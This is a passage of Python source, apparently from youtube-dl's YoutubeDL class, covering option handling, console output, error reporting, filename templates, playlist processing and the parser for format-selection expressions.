                       - "detect_or_warn": check whether we can do anything
                                           about it, warn otherwise (default)
    source_address:    (Experimental) Client-side IP address to bind to.
    call_home:         Boolean, true iff we are allowed to contact the
                       youtube-dl servers for debugging.
    sleep_interval:    Number of seconds to sleep before each download when
                       used alone or a lower bound of a range for randomized
                       sleep before each download (minimum possible number
                       of seconds to sleep) when used along with
                       max_sleep_interval.
    max_sleep_interval:Upper bound of a range for randomized sleep before each
                       download (maximum possible number of seconds to sleep).
                       Must only be used along with sleep_interval.
                       Actual sleep time will be a random float from range
                       [sleep_interval; max_sleep_interval].
    listformats:       Print an overview of available video formats and exit.
    list_thumbnails:   Print a table of all thumbnails and exit.
    match_filter:      A function that gets called with the info_dict of
                       every video.
                       If it returns a message, the video is ignored.
                       If it returns None, the video is downloaded.
                       match_filter_func in utils.py is one example for this.
    no_color:          Do not emit color codes in output.

    The following options determine which downloader is picked:
    external_downloader: Executable of the external downloader to call.
                       None or unset for standard (built-in) downloader.
    hls_prefer_native: Use the native HLS downloader instead of ffmpeg/avconv
                       if True, otherwise use ffmpeg/avconv if False, otherwise
                       use downloader suggested by extractor if None.

    The following parameters are not used by YoutubeDL itself, they are used by
    the downloader (see youtube_dl/downloader/common.py):
    nopart, updatetime, buffersize, ratelimit, min_filesize, max_filesize, test,
    noresizebuffer, retries, continuedl, noprogress, consoletitle,
    xattr_set_filesize, external_downloader_args, hls_use_mpegts.

    The following options are used by the post processors:
    prefer_ffmpeg:     If True, use ffmpeg instead of avconv if both are available,
                       otherwise prefer avconv.
    postprocessor_args: A list of additional command-line arguments for the
                        postprocessor.
    """

    params = None
    _ies = []
    _pps = []
    _download_retcode = None
    _num_downloads = None
    _screen_file = None

    def __init__(self, params=None, auto_init=True):
        """Create a FileDownloader object with the given options."""
        if params is None:
            params = {}
        self._ies = []
        self._ies_instances = {}
        self._pps = []
        self._progress_hooks = []
        self._download_retcode = 0
        self._num_downloads = 0
        self._screen_file = [sys.stdout, sys.stderr][params.get('logtostderr', False)]
        self._err_file = sys.stderr
        self.params = {
            # Default parameters
            'nocheckcertificate': False,
        }
        self.params.update(params)
        self.cache = Cache(self)

        if self.params.get('cn_verification_proxy') is not None:
            self.report_warning('--cn-verification-proxy is deprecated. Use --geo-verification-proxy instead.')
            if self.params.get('geo_verification_proxy') is None:
                self.params['geo_verification_proxy'] = self.params['cn_verification_proxy']

        if params.get('bidi_workaround', False):
            try:
                import pty
                master, slave = pty.openpty()
                width = compat_get_terminal_size().columns
                if width is None:
                    width_args = []
                else:
                    width_args = ['-w', str(width)]
                sp_kwargs = dict(
                    stdin=subprocess.PIPE,
                    stdout=slave,
                    stderr=self._err_file)
                try:
                    self._output_process = subprocess.Popen(
                        ['bidiv'] + width_args, **sp_kwargs
                    )
                except OSError:
                    self._output_process = subprocess.Popen(
                        ['fribidi', '-c', 'UTF-8'] + width_args, **sp_kwargs)
                self._output_channel = os.fdopen(master, 'rb')
            except OSError as ose:
                if ose.errno == errno.ENOENT:
                    self.report_warning('Could not find fribidi executable, ignoring --bidi-workaround . Make sure that  fribidi  is an executable file in one of the directories in your $PATH.')
                else:
                    raise

        if (sys.version_info >= (3,) and sys.platform != 'win32' and
                sys.getfilesystemencoding() in ['ascii', 'ANSI_X3.4-1968'] and
                not params.get('restrictfilenames', False)):
            # On Python 3, the Unicode filesystem API will throw errors (#1474)
            self.report_warning(
                'Assuming --restrict-filenames since file system encoding '
                'cannot encode all characters. '
                'Set the LC_ALL environment variable to fix this.')
            self.params['restrictfilenames'] = True

        if isinstance(params.get('outtmpl'), bytes):
            self.report_warning(
                'Parameter outtmpl is bytes, but should be a unicode string. '
                'Put  from __future__ import unicode_literals  at the top of your code file or consider switching to Python 3.x.')

        self._setup_opener()

        if auto_init:
            self.print_debug_header()
            self.add_default_info_extractors()

        for pp_def_raw in self.params.get('postprocessors', []):
            pp_class = get_postprocessor(pp_def_raw['key'])
            pp_def = dict(pp_def_raw)
            del pp_def['key']
            pp = pp_class(self, **compat_kwargs(pp_def))
            self.add_post_processor(pp)

        for ph in self.params.get('progress_hooks', []):
            self.add_progress_hook(ph)

        register_socks_protocols()

    def warn_if_short_id(self, argv):
        # short YouTube ID starting with dash?
        idxs = [
            i for i, a in enumerate(argv)
            if re.match(r'^-[0-9A-Za-z_-]{10}$', a)]
        if idxs:
            correct_argv = (
                ['youtube-dl'] +
                [a for i, a in enumerate(argv) if i not in idxs] +
                ['--'] + [argv[i] for i in idxs]
            )
            self.report_warning(
                'Long argument string detected. '
                'Use -- to separate parameters and URLs, like this:\n%s\n' %
                args_to_str(correct_argv))

    def add_info_extractor(self, ie):
        """Add an InfoExtractor object to the end of the list."""
        self._ies.append(ie)
        if not isinstance(ie, type):
            self._ies_instances[ie.ie_key()] = ie
            ie.set_downloader(self)

    def get_info_extractor(self, ie_key):
        """
        Get an instance of an IE with name ie_key, it will try to get one from
        the _ies list, if there's no instance it will create a new one and add
        it to the extractor list.
        """
        ie = self._ies_instances.get(ie_key)
        if ie is None:
            ie = get_info_extractor(ie_key)()
            self.add_info_extractor(ie)
        return ie

    def add_default_info_extractors(self):
        """
        Add the InfoExtractors returned by gen_extractors to the end of the list
        """
        for ie in gen_extractor_classes():
            self.add_info_extractor(ie)

    def add_post_processor(self, pp):
        """Add a PostProcessor object to the end of the chain."""
        self._pps.append(pp)
        pp.set_downloader(self)

    def add_progress_hook(self, ph):
        """Add the progress hook (currently only for the file downloader)"""
        self._progress_hooks.append(ph)

    def _bidi_workaround(self, message):
        if not hasattr(self, '_output_channel'):
            return message

        assert hasattr(self, '_output_process')
        assert isinstance(message, compat_str)
        line_count = message.count('\n') + 1
        self._output_process.stdin.write((message + '\n').encode('utf-8'))
        self._output_process.stdin.flush()
        res = ''.join(self._output_channel.readline().decode('utf-8')
                      for _ in range(line_count))
        return res[:-len('\n')]

    def to_screen(self, message, skip_eol=False):
        """Print message to stdout if not in quiet mode."""
        return self.to_stdout(message, skip_eol, check_quiet=True)

    def _write_string(self, s, out=None):
        write_string(s, out=out, encoding=self.params.get('encoding'))

    def to_stdout(self, message, skip_eol=False, check_quiet=False):
        """Print message to stdout if not in quiet mode."""
        if self.params.get('logger'):
            self.params['logger'].debug(message)
        elif not check_quiet or not self.params.get('quiet', False):
            message = self._bidi_workaround(message)
            terminator = ['\n', ''][skip_eol]
            output = message + terminator

            self._write_string(output, self._screen_file)

    def to_stderr(self, message):
        """Print message to stderr."""
        assert isinstance(message, compat_str)
        if self.params.get('logger'):
            self.params['logger'].error(message)
        else:
            message = self._bidi_workaround(message)
            output = message + '\n'
            self._write_string(output, self._err_file)

    def to_console_title(self, message):
        if not self.params.get('consoletitle', False):
            return
        if compat_os_name == 'nt' and ctypes.windll.kernel32.GetConsoleWindow():
            # c_wchar_p() might not be necessary if `message` is
            # already of type unicode()
            ctypes.windll.kernel32.SetConsoleTitleW(ctypes.c_wchar_p(message))
        elif 'TERM' in os.environ:
            self._write_string('\033]0;%s\007' % message, self._screen_file)

    def save_console_title(self):
        if not self.params.get('consoletitle', False):
            return
        if 'TERM' in os.environ:
            # Save the title on stack
            self._write_string('\033[22;0t', self._screen_file)

    def restore_console_title(self):
        if not self.params.get('consoletitle', False):
            return
        if 'TERM' in os.environ:
            # Restore the title from stack
            self._write_string('\033[23;0t', self._screen_file)

    def __enter__(self):
        self.save_console_title()
        return self

    def __exit__(self, *args):
        self.restore_console_title()

        if self.params.get('cookiefile') is not None:
            self.cookiejar.save()

    def trouble(self, message=None, tb=None):
        """Determine action to take when a download problem appears.

        Depending on if the downloader has been configured to ignore
        download errors or not, this method may throw an exception or
        not when errors are found, after printing the message.

        tb, if given, is additional traceback information.
        """
        if message is not None:
            self.to_stderr(message)
        if self.params.get('verbose'):
            if tb is None:
                if sys.exc_info()[0]:  # if .trouble has been called from an except block
                    tb = ''
                    if hasattr(sys.exc_info()[1], 'exc_info') and sys.exc_info()[1].exc_info[0]:
                        tb += ''.join(traceback.format_exception(*sys.exc_info()[1].exc_info))
                    tb += encode_compat_str(traceback.format_exc())
                else:
                    tb_data = traceback.format_list(traceback.extract_stack())
                    tb = ''.join(tb_data)
            self.to_stderr(tb)
        if not self.params.get('ignoreerrors', False):
            if sys.exc_info()[0] and hasattr(sys.exc_info()[1], 'exc_info') and sys.exc_info()[1].exc_info[0]:
                exc_info = sys.exc_info()[1].exc_info
            else:
                exc_info = sys.exc_info()
            raise DownloadError(message, exc_info)
        self._download_retcode = 1

    def report_warning(self, message):
        '''
        Print the message to stderr, it will be prefixed with 'WARNING:'
        If stderr is a tty file the 'WARNING:' will be colored
        '''
        if self.params.get('logger') is not None:
            self.params['logger'].warning(message)
        else:
            if self.params.get('no_warnings'):
                return
            if not self.params.get('no_color') and self._err_file.isatty() and compat_os_name != 'nt':
                _msg_header = '\033[0;33mWARNING:\033[0m'
            else:
                _msg_header = 'WARNING:'
            warning_message = '%s %s' % (_msg_header, message)
            self.to_stderr(warning_message)

    def report_error(self, message, tb=None):
        '''
        Do the same as trouble, but prefixes the message with 'ERROR:', colored
        in red if stderr is a tty file.
        '''
        if not self.params.get('no_color') and self._err_file.isatty() and compat_os_name != 'nt':
            _msg_header = '\033[0;31mERROR:\033[0m'
        else:
            _msg_header = 'ERROR:'
        error_message = '%s %s' % (_msg_header, message)
        self.trouble(error_message, tb)

    def report_file_already_downloaded(self, file_name):
        """Report file has already been fully downloaded."""
        try:
            self.to_screen('[download] %s has already been downloaded' % file_name)
        except UnicodeEncodeError:
            self.to_screen('[download] The file has already been downloaded')

    def prepare_filename(self, info_dict):
        """Generate the output filename."""
        try:
            template_dict = dict(info_dict)

            template_dict['epoch'] = int(time.time())
            autonumber_size = self.params.get('autonumber_size')
            if autonumber_size is None:
                autonumber_size = 5
            autonumber_templ = '%0' + str(autonumber_size) + 'd'
            template_dict['autonumber'] = autonumber_templ % self._num_downloads
            if template_dict.get('playlist_index') is not None:
                template_dict['playlist_index'] = '%0*d' % (len(str(template_dict['n_entries'])), template_dict['playlist_index'])
            if template_dict.get('resolution') is None:
                if template_dict.get('width') and template_dict.get('height'):
                    template_dict['resolution'] = '%dx%d' % (template_dict['width'], template_dict['height'])
                elif template_dict.get('height'):
                    template_dict['resolution'] = '%sp' % template_dict['height']
                elif template_dict.get('width'):
                    template_dict['resolution'] = '%dx?' % template_dict['width']

            sanitize = lambda k, v: sanitize_filename(
                compat_str(v),
                restricted=self.params.get('restrictfilenames'),
                is_id=(k == 'id'))
            template_dict = dict((k, sanitize(k, v))
                                 for k, v in template_dict.items()
                                 if v is not None and not isinstance(v, (list, tuple, dict)))
            template_dict = collections.defaultdict(lambda: 'NA', template_dict)

            outtmpl = self.params.get('outtmpl', DEFAULT_OUTTMPL)
            tmpl = compat_expanduser(outtmpl)
            filename = tmpl % template_dict
            # Temporary fix for #4787
            # 'Treat' all problem characters by passing filename through preferredencoding
            # to workaround encoding issues with subprocess on python2 @ Windows
            if sys.version_info < (3, 0) and sys.platform == 'win32':
                filename = encodeFilename(filename, True).decode(preferredencoding())
            return sanitize_path(filename)
        except ValueError as err:
            self.report_error('Error in output template: ' + str(err) + ' (encoding: ' + repr(preferredencoding()) + ')')
            return None

    def _match_entry(self, info_dict, incomplete):
        """ Returns None iff the file should be downloaded """

        video_title = info_dict.get('title', info_dict.get('id', 'video'))
        if 'title' in info_dict:
            # This can happen when we're just evaluating the playlist
            title = info_dict['title']
            matchtitle = self.params.get('matchtitle', False)
            if matchtitle:
                if not re.search(matchtitle, title, re.IGNORECASE):
                    return '"' + title + '" title did not match pattern "' + matchtitle + '"'
            rejecttitle = self.params.get('rejecttitle', False)
            if rejecttitle:
                if re.search(rejecttitle, title, re.IGNORECASE):
                    return '"' + title + '" title matched reject pattern "' + rejecttitle + '"'
        date = info_dict.get('upload_date')
        if date is not None:
            dateRange = self.params.get('daterange', DateRange())
            if date not in dateRange:
                return '%s upload date is not in range %s' % (date_from_str(date).isoformat(), dateRange)
        view_count = info_dict.get('view_count')
        if view_count is not None:
            min_views = self.params.get('min_views')
            if min_views is not None and view_count < min_views:
                return 'Skipping %s, because it has not reached minimum view count (%d/%d)' % (video_title, view_count, min_views)
            max_views = self.params.get('max_views')
            if max_views is not None and view_count > max_views:
                return 'Skipping %s, because it has exceeded the maximum view count (%d/%d)' % (video_title, view_count, max_views)
        if age_restricted(info_dict.get('age_limit'), self.params.get('age_limit')):
            return 'Skipping "%s" because it is age restricted' % video_title
        if self.in_download_archive(info_dict):
            return '%s has already been recorded in archive' % video_title

        if not incomplete:
            match_filter = self.params.get('match_filter')
            if match_filter is not None:
                ret = match_filter(info_dict)
                if ret is not None:
                    return ret

        return None

    @staticmethod
    def add_extra_info(info_dict, extra_info):
        '''Set the keys from extra_info in info dict if they are missing'''
        for key, value in extra_info.items():
            info_dict.setdefault(key, value)

    def extract_info(self, url, download=True, ie_key=None, extra_info={},
                     process=True, force_generic_extractor=False):
        '''
        Returns a list with a dictionary for each video we find.
        If 'download', also downloads the videos.
        extra_info is a dict containing the extra values to add to each result
        '''

        if not ie_key and force_generic_extractor:
            ie_key = 'Generic'

        if ie_key:
            ies = [self.get_info_extractor(ie_key)]
        else:
            ies = self._ies

        for ie in ies:
            if not ie.suitable(url):
                continue

            ie = self.get_info_extractor(ie.ie_key())
            if not ie.working():
                self.report_warning('The program functionality for this site has been marked as broken, '
                                    'and will probably not work.')

            try:
                ie_result = ie.extract(url)
                if ie_result is None:  # Finished already (backwards compatibility; listformats and friends should be moved here)
                    break
                if isinstance(ie_result, list):
                    # Backwards compatibility: old IE result format
                    ie_result = {
                        '_type': 'compat_list',
                        'entries': ie_result,
                    }
                self.add_default_extra_info(ie_result, ie, url)
                if process:
                    return self.process_ie_result(ie_result, download, extra_info)
                else:
                    return ie_result
            except ExtractorError as e:  # An error we somewhat expected
                self.report_error(compat_str(e), e.format_traceback())
                break
            except MaxDownloadsReached:
                raise
            except Exception as e:
                if self.params.get('ignoreerrors', False):
                    self.report_error(error_to_compat_str(e), tb=encode_compat_str(traceback.format_exc()))
                    break
                else:
                    raise
        else:
            self.report_error('no suitable InfoExtractor for URL %s' % url)

    def add_default_extra_info(self, ie_result, ie, url):
        self.add_extra_info(ie_result, {
            'extractor': ie.IE_NAME,
            'webpage_url': url,
            'webpage_url_basename': url_basename(url),
            'extractor_key': ie.ie_key(),
        })

    def process_ie_result(self, ie_result, download=True, extra_info={}):
        """
        Take the result of the ie(may be modified) and resolve all unresolved
        references (URLs, playlist items).

        It will also download the videos if 'download'.
        Returns the resolved ie_result.
        """
        result_type = ie_result.get('_type', 'video')

        if result_type in ('url', 'url_transparent'):
            ie_result['url'] = sanitize_url(ie_result['url'])
            extract_flat = self.params.get('extract_flat', False)
            if ((extract_flat == 'in_playlist' and 'playlist' in extra_info) or
                    extract_flat is True):
                if self.params.get('forcejson', False):
                    self.to_stdout(json.dumps(ie_result))
                return ie_result

        if result_type == 'video':
            self.add_extra_info(ie_result, extra_info)
            return self.process_video_result(ie_result, download=download)
        elif result_type == 'url':
            # We have to add extra_info to the results because it may be
            # contained in a playlist
            return self.extract_info(ie_result['url'],
                                     download,
                                     ie_key=ie_result.get('ie_key'),
                                     extra_info=extra_info)
        elif result_type == 'url_transparent':
            # Use the information from the embedding page
            info = self.extract_info(
                ie_result['url'], ie_key=ie_result.get('ie_key'),
                extra_info=extra_info, download=False, process=False)

            force_properties = dict(
                (k, v) for k, v in ie_result.items() if v is not None)
            for f in ('_type', 'url', 'ie_key'):
                if f in force_properties:
                    del force_properties[f]
            new_result = info.copy()
            new_result.update(force_properties)

            assert new_result.get('_type') != 'url_transparent'

            return self.process_ie_result(
                new_result, download=download, extra_info=extra_info)
        elif result_type == 'playlist' or result_type == 'multi_video':
            # We process each entry in the playlist
            playlist = ie_result.get('title') or ie_result.get('id')
            self.to_screen('[download] Downloading playlist: %s' % playlist)

            playlist_results = []

            playliststart = self.params.get('playliststart', 1) - 1
            playlistend = self.params.get('playlistend')
            # For backwards compatibility, interpret -1 as whole list
            if playlistend == -1:
                playlistend = None

            playlistitems_str = self.params.get('playlist_items')
            playlistitems = None
            if playlistitems_str is not None:
                def iter_playlistitems(format):
                    for string_segment in format.split(','):
                        if '-' in string_segment:
                            start, end = string_segment.split('-')
                            for item in range(int(start), int(end) + 1):
                                yield int(item)
                        else:
                            yield int(string_segment)
                playlistitems = iter_playlistitems(playlistitems_str)

            ie_entries = ie_result['entries']
            if isinstance(ie_entries, list):
                n_all_entries = len(ie_entries)
                if playlistitems:
                    entries = [
                        ie_entries[i - 1] for i in playlistitems
                        if -n_all_entries <= i - 1 < n_all_entries]
                else:
                    entries = ie_entries[playliststart:playlistend]
                n_entries = len(entries)
                self.to_screen(
                    '[%s] playlist %s: Collected %d video ids (downloading %d of them)' %
                    (ie_result['extractor'], playlist, n_all_entries, n_entries))
            elif isinstance(ie_entries, PagedList):
                if playlistitems:
                    entries = []
                    for item in playlistitems:
                        entries.extend(ie_entries.getslice(
                            item - 1, item
                        ))
                else:
                    entries = ie_entries.getslice(
                        playliststart, playlistend)
                n_entries = len(entries)
                self.to_screen(
                    '[%s] playlist %s: Downloading %d videos' %
                    (ie_result['extractor'], playlist, n_entries))
            else:  # iterable
                if playlistitems:
                    entry_list = list(ie_entries)
                    entries = [entry_list[i - 1] for i in playlistitems]
                else:
                    entries = list(itertools.islice(
                        ie_entries, playliststart, playlistend))
                n_entries = len(entries)
                self.to_screen(
                    '[%s] playlist %s: Downloading %d videos' %
                    (ie_result['extractor'], playlist, n_entries))

            if self.params.get('playlistreverse', False):
                entries = entries[::-1]

            for i, entry in enumerate(entries, 1):
                self.to_screen('[download] Downloading video %s of %s' % (i, n_entries))
                extra = {
                    'n_entries': n_entries,
                    'playlist': playlist,
                    'playlist_id': ie_result.get('id'),
                    'playlist_title': ie_result.get('title'),
                    'playlist_index': i + playliststart,
                    'extractor': ie_result['extractor'],
                    'webpage_url': ie_result['webpage_url'],
                    'webpage_url_basename': url_basename(ie_result['webpage_url']),
                    'extractor_key': ie_result['extractor_key'],
                }

                reason = self._match_entry(entry, incomplete=True)
                if reason is not None:
                    self.to_screen('[download] ' + reason)
                    continue

                entry_result = self.process_ie_result(entry,
                                                      download=download,
                                                      extra_info=extra)
                playlist_results.append(entry_result)
            ie_result['entries'] = playlist_results
            self.to_screen('[download] Finished downloading playlist: %s' % playlist)
            return ie_result
        elif result_type == 'compat_list':
            self.report_warning(
                'Extractor %s returned a compat_list result. '
                'It needs to be updated.' % ie_result.get('extractor'))

            def _fixup(r):
                self.add_extra_info(
                    r,
                    {
                        'extractor': ie_result['extractor'],
                        'webpage_url': ie_result['webpage_url'],
                        'webpage_url_basename': url_basename(ie_result['webpage_url']),
                        'extractor_key': ie_result['extractor_key'],
                    }
                )
                return r
            ie_result['entries'] = [
                self.process_ie_result(_fixup(r), download, extra_info)
                for r in ie_result['entries']
            ]
            return ie_result
        else:
            raise Exception('Invalid result type: %s' % result_type)

    def _build_format_filter(self, filter_spec):
        " Returns a function to filter the formats according to the filter_spec "

        OPERATORS = {
            '<': operator.lt,
            '<=': operator.le,
            '>': operator.gt,
            '>=': operator.ge,
            '=': operator.eq,
            '!=': operator.ne,
        }
        operator_rex = re.compile(r'''(?x)\s*
            (?P<key>width|height|tbr|abr|vbr|asr|filesize|fps)
            \s*(?P<op>%s)(?P<none_inclusive>\s*\?)?\s*
            (?P<value>[0-9.]+(?:[kKmMgGtTpPeEzZyY]i?[Bb]?)?)
            $
            ''' % '|'.join(map(re.escape, OPERATORS.keys())))
        m = operator_rex.search(filter_spec)
        if m:
            try:
                comparison_value = int(m.group('value'))
            except ValueError:
                comparison_value = parse_filesize(m.group('value'))
                if comparison_value is None:
                    comparison_value = parse_filesize(m.group('value') + 'B')
                if comparison_value is None:
                    raise ValueError(
                        'Invalid value %r in format specification %r' % (
                            m.group('value'), filter_spec))
            op = OPERATORS[m.group('op')]

        if not m:
            STR_OPERATORS = {
                '=': operator.eq,
                '!=': operator.ne,
                '^=': lambda attr, value: attr.startswith(value),
                '$=': lambda attr, value: attr.endswith(value),
                '*=': lambda attr, value: value in attr,
            }
            str_operator_rex = re.compile(r'''(?x)
                \s*(?P<key>ext|acodec|vcodec|container|protocol|format_id)
                \s*(?P<op>%s)(?P<none_inclusive>\s*\?)?
                \s*(?P<value>[a-zA-Z0-9._-]+)
                \s*$
                ''' % '|'.join(map(re.escape, STR_OPERATORS.keys())))
            m = str_operator_rex.search(filter_spec)
            if m:
                comparison_value = m.group('value')
                op = STR_OPERATORS[m.group('op')]

        if not m:
            raise ValueError('Invalid filter specification %r' % filter_spec)

        def _filter(f):
            actual_value = f.get(m.group('key'))
            if actual_value is None:
                return m.group('none_inclusive')
            return op(actual_value, comparison_value)
        return _filter

    def build_format_selector(self, format_spec):
        def syntax_error(note, start):
            message = (
                'Invalid format specification: '
                '{0}\n\t{1}\n\t{2}^'.format(note, format_spec, ' ' * start[1]))
            return SyntaxError(message)

        PICKFIRST = 'PICKFIRST'
        MERGE = 'MERGE'
        SINGLE = 'SINGLE'
        GROUP = 'GROUP'
        FormatSelector = collections.namedtuple('FormatSelector', ['type', 'selector', 'filters'])

        def _parse_filter(tokens):
            filter_parts = []
            for type, string, start, _, _ in tokens:
                if type == tokenize.OP and string == ']':
                    return ''.join(filter_parts)
                else:
                    filter_parts.append(string)

        def _remove_unused_ops(tokens):
            # Remove operators that we don't use and join them with the surrounding strings
            # for example: 'mp4' '-' 'baseline' '-' '16x9' is converted to 'mp4-baseline-16x9'
            ALLOWED_OPS = ('/', '+', ',', '(', ')')
            last_string, last_start, last_end, last_line = None, None, None, None
            for type, string, start, end, line in tokens:
                if type == tokenize.OP and string == '[':
                    if last_string:
                        yield tokenize.NAME, last_string, last_start, last_end, last_line
                        last_string = None
                    yield type, string, start, end, line
                    # everything inside brackets will be handled by _parse_filter
                    for type, string, start, end, line in tokens:
                        yield type, string, start, end, line
                        if type == tokenize.OP and string == ']':
                            break
                elif type == tokenize.OP and string in ALLOWED_OPS:
                    if last_string:
                        yield tokenize.NAME, last_string, last_start, last_end, last_line
                        last_string = None
                    yield type, string, start, end, line
                elif type in [tokenize.NAME, tokenize.NUMBER, tokenize.OP]:
                    if not last_string:
                        last_string = string
                        last_start = start
                        last_end = end
                    else:
                        last_string += string
            if last_string:
                yield tokenize.NAME, last_string, last_start, last_end, last_line

        def _parse_format_selection(tokens, inside_merge=False, inside_choice=False, inside_group=False):
            selectors = []
            current_selector = None
            for type, string, start, _, _ in tokens:
                # ENCODING is only defined in python 3.x
                if type == getattr(tokenize, 'ENCODING', None):
                    continue
                elif type in [tokenize.NAME, tokenize.NUMBER]:
                    current_selector = FormatSelector(SINGLE, string, [])
                elif type == tokenize.OP:
                    if string == ')':
                        if not inside_group:
                            # ')' will be handled by the parentheses group
                            tokens.restore_last_token()
                        break
                    elif inside_merge and string in ['/', ',']:
                        tokens.restore_last_token()
                        break
                    elif inside_choice and string == ',':
                        tokens.restore_last_token()
                        break
                    elif string == ',':
                        if not current_selector:
                            raise syntax_error('"," must follow a format selector', start)
                        selectors.append(current_selector)
                        current_selector = None
                    elif string == '/':
                        if not current_selector:
                            raise syntax_error('"/" must follow a format selector', start)
                        first_choice = current_selector
                        second_choice = _parse_format_selection(tokens, inside_choice=True)
                        current_selector = FormatSelector(PICKFIRST, (first_choice, second_choice), [])
                    elif string == '[':
                        if not current_selector:
                            current_selector = FormatSelector(SINGLE, 'best', [])
                        format_filter = _parse_filter(tokens)
                        current_selector.filters.append(format_filter)
                    elif string == '(':
                        if current_selector:
                            raise syntax_error('Unexpected "("', start)
                        group = _parse_format_selection(tokens, inside_group=True)
                        current_selector = FormatSelector(GROUP, group, [])
                    elif string == '+':
                        video_selector = current_selector
                        audio_selector = _parse_format_selection(tokens, inside_merge=True)
                        if not video_selector or not audio_selector:
                            raise syntax_error('"+" must be between two format selectors', start)
                        current_selector = FormatSelector(MERGE, (video_selector, audio_selector), [])
                    else:
                        raise syntax_error('Operator not recognized: "{0}"'.format(string), start)
                elif type == tokenize.ENDMARKER:
                    break
            if current_selector:
                selectors.append(current_selector)
            return selectors

        def _build_selector_function(selector):
            if isinstance(selector, list):
                fs = [_build_selector_function(s) for s in selector]

                def selector_function(ctx):
                    for f in fs:
                        for format in f(ctx):
                            yield format
                return selector_function
            elif selector.type == GROUP:
                selector_function = _build_selector_function(selector.selector)
            elif selector.type == PICKFIRST:
                fs = [_build_selector_function(s) for s in selector.selector]

                def selector_function(ctx):
                    for f in fs:
                        picked_formats = list(f(ctx))
                        if picked_formats:
                            return picked_formats
                    return []
            elif selector.type == SINGLE:
                format_spec = selector.selector

                def selector_function(ctx):
                    formats = list(ctx['formats'])
                    if not formats:
                        return
                    if format_spec == 'all':
                        for f in formats:
                            yield f
                    elif format_spec in ['best', 'worst', None]:
                        format_idx = 0 if format_spec == 'worst' else -1
                        audiovideo_formats = [
                            f for f in formats
                            if f.get('vcodec') != 'none' and f.get('acodec') != 'none']
                        if audiovideo_formats:
                            yield audiovideo_formats[format_idx]
                        # for extractors with incomplete formats (audio only (soundcloud)
                        # or video only (imgur)) we will fallback to best/worst
                        # {video,audio}-only format
                        elif ctx['incomplete_formats']:
                            yield formats[format_idx]
                    elif format_spec == 'bestaudio':
                        audio_formats = [
                            f for f in formats
                            if f.get('vcodec') == 'none']
                        if audio_formats:
                            yield audio_formats[-1]
                    elif format_spec == 'worstaudio':
                        audio_formats = [
                            f for f in formats
                            if f.get('vcodec') == 'none']
                        if audio_formats:
                            yield audio_formats[0]
                    elif format_spec == 'bestvideo':
                        video_formats = [
                            f for f in formats
                            if f.get('acodec') == 'none']
                        if video_formats:
                            yield video_formats[-1]
                    elif format_spec == 'worstvideo':
                        video_formats = [
                            f for f in formats
                            if f.get('acodec') == 'none']
                        if video_formats:
                            yield video_formats[0]
                    else:
                        extensions = ['mp4', 'flv', 'webm', '3gp', 'm4a', 'mp3', 'ogg', 'aac', 'wav']
                        if format_spec in extensions:
                            filter_f = lambda f: f['ext'] == format_spec
                        else:
                            filter_f = lambda f: f['format_id'] == format_spec
                        matches = list(filter(filter_f, formats))
                        if matches:
                            yield matches[-1]
            elif selector.type == MERGE:
                def _merge(formats_info):
                    format_1, format_2 = [f['format_id'] for f in formats_info]
                    # The first format must contain the video and the
                    # second the audio
                    if formats_info[0].get('vcodec') == 'none':
                        self.report_error('The first format must '
                                          'contain the video, try using '
                                          '"-f %s+%s"' % (format_2, format_1))
                        return
                    # Formats must be opposite (video+audio)
                    if formats_info[0].get('acodec') == 'none' and formats_info[1].get('acodec') == 'none':
                        self.report_error(
                            'Both formats %s and %s are video-only, you must specify "-f video+audio"'
                            % (format_1, format_2))
                        return
                    output_ext = (
                        formats_info[0]['ext']
                        if self.params.get('merge_output_format') is None
                        else self.params['merge_output_format'])
                    return {
                        'requested_formats': formats_info,
                        'format': '%s+%s' % (formats_info[0].get('format'),
                                             formats_info[1].get('format')),
                        'format_id': '%s+%s' % (formats_info[0].get('format_id'),
                                                formats_info[1].get('format_id')),
                        'width': formats_info[0].get('width'),
                        'height': formats_info[0].get('height'),
                        'resolution': formats_info[0].get('resolution'),
                        'fps': formats_info[0].get('fps'),
                        'vcodec': formats_info[0].get('vcodec'),
                        'vbr': formats_info[0].get('vbr'),
                        'stretched_ratio': formats_info[0].get('stretched_ratio'),
                        'acodec': formats_info[1].get('acodec'),
                        'abr': formats_info[1].get('abr'),
                        'ext': output_ext,
                    }
                video_selector, audio_selector = map(_build_selector_function, selector.selector)

                def selector_function(ctx):
                    for pair in itertools.product(
                            video_selector(copy.deepcopy(ctx)), audio_selector(copy.deepcopy(ctx))):
                        yield _merge(pair)

            filters = [self._build_format_filter(f) for f in selector.filters]

            def final_selector(ctx):
                ctx_copy = copy.deepcopy(ctx)
                for _filter in filters:
                    ctx_copy['formats'] = list(filter(_filter, ctx_copy['formats']))
                return selector_function(ctx_copy)
            return final_selector

        stream = io.BytesIO(format_spec.encode('utf-8'))
        try:
            tokens = list(_remove_unused_ops(compat_tokenize_tokenize(stream.readline)))
        except tokenize.TokenError:
            raise syntax_error('Missing closing/opening brackets or parenthesis', (0, len(format_spec)))

        class TokenIterator(object):
            def __init__(self, tokens):
                self.tokens = tokens
                self.counter = 0

            def __iter__(self):
                return self

            def __next__(self):
                if self.counter >= len(self.tokens):
                    raise StopIteration()
                value = self.tokens[self.counter]
                self.counter += 1
                return value

            next = __next__

            def restore_last_token(self):
                self.counter -= 1

        parsed_selector = _parse_format_selection(iter(TokenIterator(tokens)))
        return _build_selector_function(parsed_selector)

    def _calc_headers(self, info_dict):
        res = std_headers.copy()

        add_headers = info_dict.get('http_headers')
        if add_headers:
            res.update(add_headers)

        cookies = self._calc_cookies(info_dict)
        if cookies:
            res['Cookie'] = cookies

        return res

    def _calc_cookies(self, info_dict):
        pr = sanitized_Request(info_dict['url'])
        self.cookiejar.add_cookie_header(pr)
        return pr.get_header('Cookie')

    def process_video_result(self, info_dict, download=True):
        assert info_dict.get('_type', 'video') == 'video'

        if 'id' not in info_dict:
            raise ExtractorError('Missing "id" field in extractor result')
        if 'title' not in info_dict:
            raise ExtractorError('Missing "title" field in extractor result')

        if not isinstance(info_dict['id'], compat_str):
            self.report_warning('"id" field is not a string - forcing string conversion')
            info_dict['id'] = compat_str(info_dict['id'])

        if 'playlist' not in info_dict:
            # It isn't part of a playlist
            info_dict['playlist'] = None
            info_dict['playlist_index'] = None

        thumbnails = info_dict.get('thumbnails')
        if thumbnails is None:
            thumbnail = info_dict.get('thumbnail')
            if thumbnail:
                info_dict['thumbnails'] = thumbnails = [{'url': thumbnail}]
        if thumbnails:
            thumbnails.sort(key=lambda t: (
                t.get('preference'), t.get('width'), t.get('height'),
                t.get('id'), t.get('url')))
